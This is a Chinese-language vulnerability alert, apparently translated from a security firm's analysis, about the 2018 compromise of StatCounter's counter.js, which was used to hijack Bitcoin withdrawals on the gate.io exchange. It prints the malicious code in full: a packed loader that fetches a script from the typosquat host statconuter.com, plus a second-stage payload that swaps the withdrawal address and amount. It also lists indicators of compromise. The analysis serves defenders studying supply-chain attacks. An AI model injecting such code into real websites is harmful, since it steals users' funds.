漏洞预警 | 知名交易所gate.io受JS代码劫持
栏目: JavaScript · 发布时间: 5年前
内容简介:近期,网络分析平台 StatCounter 被黑客攻击,其服务代码被植入恶意脚本,加密货币交易所 gate.io 因使用此代码而受到恶意劫持,这个恶意代码劫持了通过 Gate.io 加密货币交易所的 Web 界面进行的任何比特币交易,攻击者通过替换目标地址来窃取比特币。目前,StatCounter 仍然受到了损害,而 Gate.io 已从其网站上删除了该脚本。分析过程参考 : [
概述
近期,网络分析平台 StatCounter 被黑客攻击,其服务代码被植入恶意脚本,加密货币交易所 gate.io 因使用此代码而受到恶意劫持,这个恶意代码劫持了通过 Gate.io 加密货币交易所的 Web 界面进行的任何比特币交易,攻击者通过替换目标地址来窃取比特币。目前,StatCounter 仍然受到了损害,而 Gate.io 已从其网站上删除了该脚本。
一、漏洞分析
分析过程参考 : [ https://www.welivesecurity.com/2018/11/06/supply-chain-attack-cryptocurrency-exchange-gate-io/ ]
11月3日,攻击者成功攻击了网络分析平台 StatCounter 。许多网站管理员都使用此服务来收集访问者的统计信息(这项服务与Google Analytics非常相似)。网站管理员通常会在每个网页中添加一个外部 JavaScript 代码,其中包含来自 StatCounter 的一段代码 www.statcounter [.]com/counter/counter.js。攻击者通过黑入 StatCounter 平台,可以在所有使用 StatCounter 的网站中注入 JavaScript 代码。
攻击者修改的脚本在 www.statcounter [.]com/counter/counter.js 通过加入一块恶意代码,从下面的代码中所示,恶意代码放在了脚本的中间部分。而因为攻击者通常会在脚本的开头或结尾添加恶意代码,加在中间位置会增大检测的难度。
eval(function(p, a, c, k, e, r) { e = function(c) { return c.toString(a) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [function(e) { return r[e] }]; e = function() { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://g.h.i/c.j\';0.k(\'l\',\'m\');2.n.o.p(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {}));
该脚本使用 Dean Edwards 打包器打包,这可能是最受欢迎的 JavaScript 打包器。但是,它也可以进行简单地解压,导致运行了脚本代码,如下所示。
myselfloc = '' + document.location; if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) { var ga = document.createElement('script'); ga.src = 'https://www.statconuter.com/c.php'; ga.setAttribute('async', 'true'); document.documentElement.firstChild.appendChild(ga); }
这段代码将首先检查URL是否包含 myaccount/withdraw/BTC. 。因此,我们已经可以猜测攻击者的目标是以比特币平台为目标。如果检查通过,脚本将继续向网页添加新的脚本元素,并将代码合并到 https://www.statconuter [.]com/c.php。
要注意的是,攻击者注册的域名 statcounter[.]com 非常类似于 Statcounter 。他们只是替换了两个字母,在查看日志的时候很难注意到。有趣的是,通过检查该域的被动 DNS,我们注意到该域已于 2010 年因被滥用而暂停。
如上所述,脚本以特定的统一资源标识符(URI)为目标:myaccount/withdraw/BTC 。事实证明,在写入时不同的加密货币交易所中,只有 gate.io 具有带有此URI的有效页面。因此,这种交易所成为这次袭击的主要目标。这种交易所非常受欢迎,在中国的 Alexa 排名为 26,251 甚至最高时为 8,308。
此外,根据coinmarketcap.com ,每天在这个平台都有高达数百万美元的交易。因此,攻击者在这个平台上大规模窃取加密货币获利将是十分巨大的。
网页 https://www.gate [.]io/myaccount/withdraw/BTC ,如下所示,用于将比特币从 gate.io 帐户转移到外部比特币地址。
或许不令人吃惊,事实证明,在第二阶段的有效载荷,从 statconuter[.]com/c.php ,被设计成窃取比特币。因此,将脚本注入gate.io比特币转移网页是有意义的。这个脚本也包含 Dean Edwards 打包器。解压缩版本如下所示。
document.forms[0]['addr'].value = ''; document.forms[0]['amount'].value = ''; doSubmit1 = doSubmit; doSubmit = function () { var a = document.getElementById('withdraw_form'); if ($('#amount').val() > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); a.submit(); } else if (document.getElementById('canUse').innerText > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); document.forms[0]['amount']['name'] = ''; var t = $("<input type='hidden' name='amount'/>"); t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText)); b.append(t); a.submit(); } else { doSubmit1(); } };
在真正的 gate.io 网页中,已经有一个 doSubmit 函数,当用户点击提交按钮时调用,但攻击者在这里重新定义了它。
该脚本会自动将当前比特币地址替换成攻击者的地址,例如 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad 。每次访问者加载 statconuter[.]com/c.php 脚本时,恶意服务器都会生成一个新的比特币地址。因此,很难看出有多少比特币已转移给攻击者。
根据受害者是否输入超过 10 BTC 的金额,攻击者的脚本将使用它或使用受害者帐户的每日提款限额。在我们的测试帐户中,默认情况下,提款限额设置为 100 BTC。最后,恶意脚本提交表单,该表单执行从受害者帐户到攻击者钱包的转移。
这种重定向可能对受害者来说不明显,因为替换是在他们点击提交按钮后执行的。因此,这次攻击发生的过程非常迅速,甚至可能不会任何显示。
由于每次将恶意脚本发送给受害者时都会生成一个新的比特币地址,我们无法看到攻击者收集了多少比特币。例如,如果我们检查我们在测试机器上收到的地址,则余额为 0 BTC。
二、结论
即使我们不知道在这次攻击中有多少比特币被盗,但此处展示了攻击的可能性与范围,特别是加密货币交易所。为了实现这一目标,他们破坏了分析服务的网站,然后从一个加密货币交易所的客户那里窃取比特币。
它还表明,即使您的网站已更新并受到良好保护,它仍然容易受到最薄弱的组件的影响,尤其是组件使用的是外部的资源。这是另一个提醒,外部 JavaScript 代码由第三方控制,可以随时修改,恕不另行通知。
我们一发现这种恶意活动,已经通知了 StatCounter 和 gate.io .
三、IOC
恶意网址:
statcounter[.]com/counter/counter.js statconuter[.]com/c.php
以上所述就是小编给大家介绍的《漏洞预警 | 知名交易所gate.io受JS代码劫持》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 交易所安全测试:信息收集
- 交易所安全测试:安全审计指南
- POSCMS交易所系统多个高危漏洞详解
- 漏洞再藏交易所,黑客盯上行情区
- 资源就是生产力,使用BiClub交易所资源可免交易手续费
- 因为它,中心化交易所要慌(黄)了吗?
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Flash MX 2004游戏制作完全攻略
郭亮 / 中国电力出版社 / 2005-5 / 36.0
这是一本讲述Flash游戏编程的优秀教材。精美是数学图解,让您边读边看,兴致盎然;完整的游戏实例,让您边学边玩,趣味无穷;合理的章节规划,让您边学边练,轻松进阶……一起来看看 《Flash MX 2004游戏制作完全攻略》 这本书的介绍吧!